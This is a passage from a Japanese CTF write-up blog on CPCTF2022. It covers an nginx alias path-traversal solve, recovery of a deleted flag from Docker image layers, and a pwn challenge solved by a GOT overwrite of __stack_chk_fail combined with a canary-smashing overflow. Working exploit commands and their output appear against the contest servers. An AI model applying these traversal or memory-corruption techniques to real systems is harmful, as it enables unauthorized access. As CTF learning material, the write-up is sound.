                   // フラグを取得して表示する
                   const res = await fetch("/private/flag.txt");
                   if (!res.ok) throw new Error(`fetch failed with status code ${res.status}`);
                   const text = await res.text();

                   document.getElementById("flag").innerText = text;
                   document.getElementById("error").innerText = "";
               } catch (e) {
                   // 失敗した場合はエラーを表示する
                   document.getElementById("flag").innerText = "";
                   document.getElementById("error").innerText = e.message;
               }
           }
       </script>
    </div>

</body>

</html>
http {
    server {
        listen 80;

        location /private {
            return 403;
        }

        location /public {
            alias /usr/share/nginx/public/;
        }

        location / {
            alias /usr/share/nginx/html/;
        }
    }
}

events {}

ディレクトリトラバーサルを狙ったりしましたが、うまくいきませんでした:

$ curl https://forbidden-2.cpctf.space/private/flag.txt
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.21.6</center>
</body>
</html>
$ curl https://forbidden-2.cpctf.space/public/../private/flag.txt
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.21.6</center>
</body>
</html>

わからなかったのでヒントを見ました:

ヒント1
このWebサイトではNginxというアプリケーションが使われています。
nginx.confはNginxの設定ファイルです。

ヒント2
nginx.confの5~7行目の設定をどうにかくぐり抜けることができればフラグにアクセスできそうですが...
Nginxに対する攻撃手法などを検索してみるとうまい方法が見つかるかもしれません。

nginx location ディレクトリトラバーサルでググってみるとnginxの設定ミスで起こるパス トラバーサル - Qiitaを見つけました。その中で以下の言及がありました:

ディレクトリセパレーター (すなわち / ) でlocationが終わっていない場合:

location /i {
    alias /data/w3/images/;
}

/i../app/config.py のリクエストで, /data/w3/app/config.py のファイルが送られます。

試しました:

$ curl https://forbidden-2.cpctf.space/public../private/flag.txt
CPCTF{g0_t0_tr4v3r541}
$

フラグを入手できました: CPCTF{g0_t0_tr4v3r541}

これはうっかり付け忘れがありそうで怖いですね……

ヒントで解法を見て解いた問題の一部

3個あるヒントのうち全部(=解法)を見て解いた問題です。全部で6問の解法を見て解きました。その中で特筆したいものだけを書きます。得点はヒントを見たことによる減点後の点数です。

[Forensics, Easy] Dive! (21 solves, 33.77 points)

Docker Imageが渡されます。隠されたフラグを探してみましょう!

渡されたImageのロードはdocker load -i image.tarで行うことができます。

言われたとおりにとりあえずロードして、docker run -it dive:latest bashで中身を見てみましたが、フラグは見つかりませんでした。grepやfindのパワープレイをしたり、envで環境変数を見たりしましたがありませんでした。さっぱり分からなかったのでヒントを見ていきました:

ヒント1
渡されたDocker Imageはtarで圧縮されているので解凍してみましょう。

ヒント2
Docker Imageはlayerという各操作の結果を積み重ねて圧縮して構成されています。
Docker Imageの解析ツールにはdiveというものがあります。これを使ってどのレイヤーにflagがあるのか調べてみましょう。

wagoodman/dive: A tool for exploring each layer in a docker imageを導入して試してみました。docker load -i image.tar後にsudo dive dive:latestを実行すると、おそらくレイヤーと言われているものの解析画面が表示されました:

レイヤーを見ていると、途中でflag.txtを追加して、後の方で削除していることが分かりました。あとはflag.txtの内容をどうにかして見られたら、と思って探しましたがよくわかりませんでした。ID箇所にある7438c8f0bc6b5071ed71be1e7887575b03e583e524366450fedd814d59cb8004という名前のフォルダーがtarファイル中にあるか探しましたが見当たりませんでした。

manifest.jsonのLAYERを適当に削ってflag.txt削除前の状態にできないか試しましたが、invalid manifest, layers length mismatch: expected 15, got 35エラーになってダメでした。

よく分からなかったので最後のヒント(=解法)も見ました:

ヒント3 (解法)

まず、docker load -i image.tarを実行してイメージをロードします。

$ docker load -i image.tar
Loaded image: cpctf-dive:latest
$ docker images
REPOSITORY  TAG     IMAGE ID      CREATED         SIZE
cpctf-dive  latest  d8e8f282dfdc  7 minutes ago   77.8MB
flagの情報はDocker Imageの中に保存されているはずです。diveという解析ツールを用いて解析してみましょう。

dive d8e8f282dfdc

左下のほうを見ると、id: ********というのが見つかると思います。
これがlayerのIDになります。

Docker Imageはtarで固められているので解凍してみましょう。すると、先ほど見つけたIDのフォルダと中にtarファイルが見つかると思います。これがlayerの情報です。

このtarを解凍すると、flag.txtが出てきます。
中身はbase64エンコードされているので、デコードすれば、flagが取得できます。

「あっれやっぱりIDのフォルダーがある???」と思って見返しましたがやっぱり無さそうでした。とりあえずtarファイルの中にflag.txtがあるそうなので、ゴリ押すことにしました:

$ tar -xvf image.tar
02a0bcc68b501617afb5dfc03b525ad82cddf849624d54419f7033fbcda285ba/
02a0bcc68b501617afb5dfc03b525ad82cddf849624d54419f7033fbcda285ba/VERSION
02a0bcc68b501617afb5dfc03b525ad82cddf849624d54419f7033fbcda285ba/json
02a0bcc68b501617afb5dfc03b525ad82cddf849624d54419f7033fbcda285ba/layer.tar
04f7db98dadd7843b2a90546ccb32d58c3593013e826da7460abecdcdcfec309/
04f7db98dadd7843b2a90546ccb32d58c3593013e826da7460abecdcdcfec309/VERSION
04f7db98dadd7843b2a90546ccb32d58c3593013e826da7460abecdcdcfec309/json
04f7db98dadd7843b2a90546ccb32d58c3593013e826da7460abecdcdcfec309/layer.tar
0d858be546e0ae57663bb0ce96312418deb7be5360a28064ee70c9cf7c929d77/
0d858be546e0ae57663bb0ce96312418deb7be5360a28064ee70c9cf7c929d77/VERSION
0d858be546e0ae57663bb0ce96312418deb7be5360a28064ee70c9cf7c929d77/json
0d858be546e0ae57663bb0ce96312418deb7be5360a28064ee70c9cf7c929d77/layer.tar
0fe505abdbe17f4709d3273bccb860cfc697d18056026b5230dd5465210334fc/
0fe505abdbe17f4709d3273bccb860cfc697d18056026b5230dd5465210334fc/VERSION
0fe505abdbe17f4709d3273bccb860cfc697d18056026b5230dd5465210334fc/json
0fe505abdbe17f4709d3273bccb860cfc697d18056026b5230dd5465210334fc/layer.tar
1519666a8b60ca7911399b002e41f435a30374bf98bb2ef0bd17118d04a84f3f/
1519666a8b60ca7911399b002e41f435a30374bf98bb2ef0bd17118d04a84f3f/VERSION
1519666a8b60ca7911399b002e41f435a30374bf98bb2ef0bd17118d04a84f3f/json
1519666a8b60ca7911399b002e41f435a30374bf98bb2ef0bd17118d04a84f3f/layer.tar
21399a68bfb458e4810e0d17e9a157a13b5a34aa69cbee7e55f349dfd2e7d73d/
21399a68bfb458e4810e0d17e9a157a13b5a34aa69cbee7e55f349dfd2e7d73d/VERSION
21399a68bfb458e4810e0d17e9a157a13b5a34aa69cbee7e55f349dfd2e7d73d/json
21399a68bfb458e4810e0d17e9a157a13b5a34aa69cbee7e55f349dfd2e7d73d/layer.tar
3220bc81bd1470c6ffac85853b4e8a75b2570983b0937a7ca7f666d581e6cadf/
3220bc81bd1470c6ffac85853b4e8a75b2570983b0937a7ca7f666d581e6cadf/VERSION
3220bc81bd1470c6ffac85853b4e8a75b2570983b0937a7ca7f666d581e6cadf/json
3220bc81bd1470c6ffac85853b4e8a75b2570983b0937a7ca7f666d581e6cadf/layer.tar
41302ba9ef49b887e19812f8e82d1cead3249e58cf264b16796ef7ed2b1cccce/
41302ba9ef49b887e19812f8e82d1cead3249e58cf264b16796ef7ed2b1cccce/VERSION
41302ba9ef49b887e19812f8e82d1cead3249e58cf264b16796ef7ed2b1cccce/json
41302ba9ef49b887e19812f8e82d1cead3249e58cf264b16796ef7ed2b1cccce/layer.tar
4f5e75cb8c95dcb7abb0bbfcca9d422e9be218842647b6a6d5bb3eecd704a017/
4f5e75cb8c95dcb7abb0bbfcca9d422e9be218842647b6a6d5bb3eecd704a017/VERSION
4f5e75cb8c95dcb7abb0bbfcca9d422e9be218842647b6a6d5bb3eecd704a017/json
4f5e75cb8c95dcb7abb0bbfcca9d422e9be218842647b6a6d5bb3eecd704a017/layer.tar
5126fcc48cef0a79d9b9b3018d0dec70cc5e9a9fbb5d473f0b7f33043c0fd44f/
5126fcc48cef0a79d9b9b3018d0dec70cc5e9a9fbb5d473f0b7f33043c0fd44f/VERSION
5126fcc48cef0a79d9b9b3018d0dec70cc5e9a9fbb5d473f0b7f33043c0fd44f/json
5126fcc48cef0a79d9b9b3018d0dec70cc5e9a9fbb5d473f0b7f33043c0fd44f/layer.tar
549abfbf10a9a7c271bb4db3b3b83ed97fadd067a68878ccd5ef9db8079b80b6/
549abfbf10a9a7c271bb4db3b3b83ed97fadd067a68878ccd5ef9db8079b80b6/VERSION
549abfbf10a9a7c271bb4db3b3b83ed97fadd067a68878ccd5ef9db8079b80b6/json
549abfbf10a9a7c271bb4db3b3b83ed97fadd067a68878ccd5ef9db8079b80b6/layer.tar
5b09186a63481e37a09c568cfd13cbcee879f10d0bdcb686a833b77f1a9d529e/
5b09186a63481e37a09c568cfd13cbcee879f10d0bdcb686a833b77f1a9d529e/VERSION
5b09186a63481e37a09c568cfd13cbcee879f10d0bdcb686a833b77f1a9d529e/json
5b09186a63481e37a09c568cfd13cbcee879f10d0bdcb686a833b77f1a9d529e/layer.tar
5c8f70887e15725ccf1a411e452d68e86bfdeeede38988d0efb8bc6911facabb/
5c8f70887e15725ccf1a411e452d68e86bfdeeede38988d0efb8bc6911facabb/VERSION
5c8f70887e15725ccf1a411e452d68e86bfdeeede38988d0efb8bc6911facabb/json
5c8f70887e15725ccf1a411e452d68e86bfdeeede38988d0efb8bc6911facabb/layer.tar
63017e84d5a4b3c8d947e89a1e0f719ac93eac5e0a2ffc7cfefc64f1a01a62ad/
63017e84d5a4b3c8d947e89a1e0f719ac93eac5e0a2ffc7cfefc64f1a01a62ad/VERSION
63017e84d5a4b3c8d947e89a1e0f719ac93eac5e0a2ffc7cfefc64f1a01a62ad/json
63017e84d5a4b3c8d947e89a1e0f719ac93eac5e0a2ffc7cfefc64f1a01a62ad/layer.tar
6fd0895f6c8e508ee60dd560b03fb83c40f74c00a60c1be1500ce98cf16bf5da/
6fd0895f6c8e508ee60dd560b03fb83c40f74c00a60c1be1500ce98cf16bf5da/VERSION
6fd0895f6c8e508ee60dd560b03fb83c40f74c00a60c1be1500ce98cf16bf5da/json
6fd0895f6c8e508ee60dd560b03fb83c40f74c00a60c1be1500ce98cf16bf5da/layer.tar
706ebf8ec0e3819ac4425dd1ca7294a15c379a70dd7261a82552c89331356b0b/
706ebf8ec0e3819ac4425dd1ca7294a15c379a70dd7261a82552c89331356b0b/VERSION
706ebf8ec0e3819ac4425dd1ca7294a15c379a70dd7261a82552c89331356b0b/json
706ebf8ec0e3819ac4425dd1ca7294a15c379a70dd7261a82552c89331356b0b/layer.tar
75c5b6368a017ac403a83af1381cb916a8e1bf8e83d779c81d85069e465d4be5/
75c5b6368a017ac403a83af1381cb916a8e1bf8e83d779c81d85069e465d4be5/VERSION
75c5b6368a017ac403a83af1381cb916a8e1bf8e83d779c81d85069e465d4be5/json
75c5b6368a017ac403a83af1381cb916a8e1bf8e83d779c81d85069e465d4be5/layer.tar
762fe12b22cc1f57a59adf48295aa9583968a6e33ee12f8eff334d99c59f82bd/
762fe12b22cc1f57a59adf48295aa9583968a6e33ee12f8eff334d99c59f82bd/VERSION
762fe12b22cc1f57a59adf48295aa9583968a6e33ee12f8eff334d99c59f82bd/json
762fe12b22cc1f57a59adf48295aa9583968a6e33ee12f8eff334d99c59f82bd/layer.tar
81c98e8c4b62a98169b2fe6303feca5d0e2619b6f26fef654832999ab2d1a7c1/
81c98e8c4b62a98169b2fe6303feca5d0e2619b6f26fef654832999ab2d1a7c1/VERSION
81c98e8c4b62a98169b2fe6303feca5d0e2619b6f26fef654832999ab2d1a7c1/json
81c98e8c4b62a98169b2fe6303feca5d0e2619b6f26fef654832999ab2d1a7c1/layer.tar
8be173cde4868a29fd9de7f32d83ff6b609862e9fb2bef57d77cb46be2ffc49a/
8be173cde4868a29fd9de7f32d83ff6b609862e9fb2bef57d77cb46be2ffc49a/VERSION
8be173cde4868a29fd9de7f32d83ff6b609862e9fb2bef57d77cb46be2ffc49a/json
8be173cde4868a29fd9de7f32d83ff6b609862e9fb2bef57d77cb46be2ffc49a/layer.tar
97908b4d2e33beff2248a092d1af5ce192d99cdb3c09c9a690251062fb44e2fe/
97908b4d2e33beff2248a092d1af5ce192d99cdb3c09c9a690251062fb44e2fe/VERSION
97908b4d2e33beff2248a092d1af5ce192d99cdb3c09c9a690251062fb44e2fe/json
97908b4d2e33beff2248a092d1af5ce192d99cdb3c09c9a690251062fb44e2fe/layer.tar
99dc41cbc9b93e92d4f147b5ac9c1b9bdaabe5b9cb1d26ce30f1ae4d059dba86/
99dc41cbc9b93e92d4f147b5ac9c1b9bdaabe5b9cb1d26ce30f1ae4d059dba86/VERSION
99dc41cbc9b93e92d4f147b5ac9c1b9bdaabe5b9cb1d26ce30f1ae4d059dba86/json
99dc41cbc9b93e92d4f147b5ac9c1b9bdaabe5b9cb1d26ce30f1ae4d059dba86/layer.tar
a1f208b01b42a97fa768c1fe2f763e7573b5efa401b212c701b2d8b352686c09.json
a6c2bff80e26675ab852f98513058619584af243b4f8d1dae6eff9460d777816/
a6c2bff80e26675ab852f98513058619584af243b4f8d1dae6eff9460d777816/VERSION
a6c2bff80e26675ab852f98513058619584af243b4f8d1dae6eff9460d777816/json
a6c2bff80e26675ab852f98513058619584af243b4f8d1dae6eff9460d777816/layer.tar
b4fe7649ee52b6c6d60c482acff6416ca06a21eefe0f44be8a82bb0c0d88fe7d/
b4fe7649ee52b6c6d60c482acff6416ca06a21eefe0f44be8a82bb0c0d88fe7d/VERSION
b4fe7649ee52b6c6d60c482acff6416ca06a21eefe0f44be8a82bb0c0d88fe7d/json
b4fe7649ee52b6c6d60c482acff6416ca06a21eefe0f44be8a82bb0c0d88fe7d/layer.tar
bfc3743eb72a757162ed8ee83caeae638f40407a884e0af414a6e09145afb6e9/
bfc3743eb72a757162ed8ee83caeae638f40407a884e0af414a6e09145afb6e9/VERSION
bfc3743eb72a757162ed8ee83caeae638f40407a884e0af414a6e09145afb6e9/json
bfc3743eb72a757162ed8ee83caeae638f40407a884e0af414a6e09145afb6e9/layer.tar
c213477d0147f041450166c5582706682886612d0721d17a8099e05cae074628/
c213477d0147f041450166c5582706682886612d0721d17a8099e05cae074628/VERSION
c213477d0147f041450166c5582706682886612d0721d17a8099e05cae074628/json
c213477d0147f041450166c5582706682886612d0721d17a8099e05cae074628/layer.tar
c4fb52dc99933c77cc035fd7a0c838de7ed3e5ec33c11dcd71f4b4178c9db09c/
c4fb52dc99933c77cc035fd7a0c838de7ed3e5ec33c11dcd71f4b4178c9db09c/VERSION
c4fb52dc99933c77cc035fd7a0c838de7ed3e5ec33c11dcd71f4b4178c9db09c/json
c4fb52dc99933c77cc035fd7a0c838de7ed3e5ec33c11dcd71f4b4178c9db09c/layer.tar
cd934ca36bac6521ec610d9c01d7818edc03a3c4129ee7019291a7097e1605c3/
cd934ca36bac6521ec610d9c01d7818edc03a3c4129ee7019291a7097e1605c3/VERSION
cd934ca36bac6521ec610d9c01d7818edc03a3c4129ee7019291a7097e1605c3/json
cd934ca36bac6521ec610d9c01d7818edc03a3c4129ee7019291a7097e1605c3/layer.tar
d2c1fbdb6f3563714b77aacf902fb453ba1a390754610a3b67462673b2efe38a/
d2c1fbdb6f3563714b77aacf902fb453ba1a390754610a3b67462673b2efe38a/VERSION
d2c1fbdb6f3563714b77aacf902fb453ba1a390754610a3b67462673b2efe38a/json
d2c1fbdb6f3563714b77aacf902fb453ba1a390754610a3b67462673b2efe38a/layer.tar
d3131e5b21792d771a6ba7fd4f7a198b9b6ea627fec3b72059f6fa4897412ede/
d3131e5b21792d771a6ba7fd4f7a198b9b6ea627fec3b72059f6fa4897412ede/VERSION
d3131e5b21792d771a6ba7fd4f7a198b9b6ea627fec3b72059f6fa4897412ede/json
d3131e5b21792d771a6ba7fd4f7a198b9b6ea627fec3b72059f6fa4897412ede/layer.tar
e818bdecfa8970dfb2b9ad52a2a32f3b39093c92dce0a8209daaa256ed5167e6/
e818bdecfa8970dfb2b9ad52a2a32f3b39093c92dce0a8209daaa256ed5167e6/VERSION
e818bdecfa8970dfb2b9ad52a2a32f3b39093c92dce0a8209daaa256ed5167e6/json
e818bdecfa8970dfb2b9ad52a2a32f3b39093c92dce0a8209daaa256ed5167e6/layer.tar
eb83e30eaec1b270592d1676fdc71887050de81d9de71cf127f28b2d499af816/
eb83e30eaec1b270592d1676fdc71887050de81d9de71cf127f28b2d499af816/VERSION
eb83e30eaec1b270592d1676fdc71887050de81d9de71cf127f28b2d499af816/json
eb83e30eaec1b270592d1676fdc71887050de81d9de71cf127f28b2d499af816/layer.tar
f8af4633ee287dd9673ec869a279480bdd0f69629bd2c153b5f630a92bc8055b/
f8af4633ee287dd9673ec869a279480bdd0f69629bd2c153b5f630a92bc8055b/VERSION
f8af4633ee287dd9673ec869a279480bdd0f69629bd2c153b5f630a92bc8055b/json
f8af4633ee287dd9673ec869a279480bdd0f69629bd2c153b5f630a92bc8055b/layer.tar
f92379555d6dfa0b837777ceb81ab7a971b17a420ae6371e45b4b41b2527a0b9/
f92379555d6dfa0b837777ceb81ab7a971b17a420ae6371e45b4b41b2527a0b9/VERSION
f92379555d6dfa0b837777ceb81ab7a971b17a420ae6371e45b4b41b2527a0b9/json
f92379555d6dfa0b837777ceb81ab7a971b17a420ae6371e45b4b41b2527a0b9/layer.tar
ffd573a0fd24a688f8c9a20183cb879df809cf32189e634bff00f6018878a011/
ffd573a0fd24a688f8c9a20183cb879df809cf32189e634bff00f6018878a011/VERSION
ffd573a0fd24a688f8c9a20183cb879df809cf32189e634bff00f6018878a011/json
ffd573a0fd24a688f8c9a20183cb879df809cf32189e634bff00f6018878a011/layer.tar
manifest.json
repositories
$ find . -name 'layer.tar' -exec tar -xf {} \;
$ find . -name 'flag.txt'
./cpctf/flag.txt
$ cat cpctf/flag.txt
Q1BDVEZ7ZDF2M18xbjcwX2QwY2szcl8xbTQ2M30=
$ cat cpctf/flag.txt | base64 -d
CPCTF{d1v3_1n70_d0ck3r_1m463}
$

フラグを入手できました: CPCTF{d1v3_1n70_d0ck3r_1m463}

[Pwn, Medium] Add anywhere (9 solves, 39.23 points)

任意アドレス書き込みは怖いけどこれなら...?

nc add-anywhere.cpctf.space 30014

配布ファイルとして、main.cと、実行バイナリadd-anywhereがありました:

#include <stdio.h>
#include <stdlib.h>

void win(){
  system("cat /home/user/flag");
}

int main(){
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  void *addr = NULL;
  short num = 0;
  char comment[20];

  puts("You can add a little value to any addr!");
  printf("addr> ");
  scanf("%p",&addr);
  printf("val> ");
  scanf("%hd",&num);

  * (short *)addr += num;

  puts("Any comment?");
  scanf("%28s",comment);

  return 0;
}
$ file add-anywhere
add-anywhere: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e641385d518dbc2559dbceeaf656595959a39d26, for GNU/Linux 3.2.0, not stripped
$ pwn checksec add-anywhere
[*] '/mnt/d/Documents/work/ctf/CPCTF2022/Add anywhere/add-anywhere'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

PIE無効かつPartial RELROであるので、win関数へ制御を移すためには戻り値アドレスを改変するかGOTを操作することが思いつきます。今回の場合は、最後のscanfでバッファオーバーフロー出来るのでそこで何か出来るかと思いましたが、スタックの使われ方を見ると戻りアドレスへは届かず、改ざんできるのはカナリアだけでした(このことが重要だったのですが、このときは即座に忘れてしまいました)。

そうなるとGOT改ざんしか無さそうです。しかしソースコードとIDAの逆コンパイル表示を見ている限りでは、putsもscanfも* (short *)addr += num前で使われているのでlibcのアドレスを指してしまっているので2バイト加算ではwin関数のアドレスにできなさそうです。gdbで確認してみても実際そうでした。分からなかったのでヒントを見ていきました:

ヒント1
まずはこのバイナリのセキュリティ機構を確認しましょう。

win関数を呼び出したいですが使われていません。 実行フローを無理やりwin関数に持っていきたいですね。

ヒント2
win関数は実行によらず固定のアドレスに置かれています

今回は加算しかできないので、ランダムな値が入ったアドレスを指定しても あまりwin関数には結びつかなさそうです。

ヒント3 (解法)
Stack Smashing Protectorが有効なのでリターンアドレスの書き換えは難しいです。 そのため今回はGOT overwriteを狙います。

win関数のアドレスに書き換えられそうなものを探すと、 ほとんどの関数のGOTがlibc内のアドレスを指しており少しの加算(減算)ではwin関数のアドレスにならないことが分かります。 しかし__stack_chk_failはシンボル解決前なのでバイナリのpltセクションを指しています。 ここに加算をしてwin関数に書き換えましょう!

__stack_chk_failは全く考慮していませんでした!!!!!!!!!

方針はわかったので必要な値を確認しました:

  • gdbを使って、__stack_chk_failのGOTテーブルの初期値が0x0000000000401040であることを確認
  • IDAを使って、win関数のアドレスが0x00000000004011D6であることを確認
    • これらから、numに与える値は+406と分かります
  • IDAを使って、__stack_chk_failのGOTテーブルのアドレスが0x0000000000404020であることを確認

これらを使いつつ、バッファオーバーフローを起こしてカナリアを改ざんして__stack_chk_failを呼び出させ、改ざんしたGOTテーブル経由でwin関数を呼び出させました:

$ nc add-anywhere.cpctf.space 30014
You can add a little value to any addr!
addr> 0x0000000000404020
val> 406
Any comment?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
CPCTF{stack_smashing_to_win}
$

フラグを入手できました: CPCTF{stack_smashing_to_win}

ヒント無しで気付きたかった問題の1つです。IDAの逆アセンブル表示ではもちろん__stack_chk_failがあることが分かるので、そちらも見ていれば気づけたかもしれません。とは言えヒントを見たときは「その手がありましたか」とテンションが上がっていました。

感想

  • 制限時間は6時間と短めの個人戦でしたが、問題はたくさん(58問?)ありました!内容を全然確認できていない問題もあるので復習します。
  • PPC(=競プロ)を久々にやりました。Easy問題でも一部解けなかったので力不足を感じましたが、方針やオーダーを考えて実装してACを取るのは楽しいです。
  • ヒントシステムがあり、かつ解法を見ても1/10とは言え点数がもらえるのが物珍しかったです。
    • Forensicsの一部の問題は全然分からなかったので解法を見ました。ここでヒントがなければわからないまま終わっていたので、ヒントを見て学べるという面でとても良かったと思います。
    • 最初はヒント無しで解けそうな問題に取り組み、最後1時間ちょっとをヒントを見まくって解いていました。
  • 難易度Newbieが10点固定とかなり低いので、本気で上位を狙うなら手を付けない選択肢もあるのかなと思いました。
    • PPCジャンルはハマると時間が溶けるだけと分かっているので、バグらせそうなNewbie問題1つはほぼ手を付けないままにしたりしました。
  • 様々な発展的なツールを使う問題が多く、ヒントを見て学べるので良かったです。特に、WebGLゲームのスコアを改ざんする問題が面白かったです(解法を見ました)。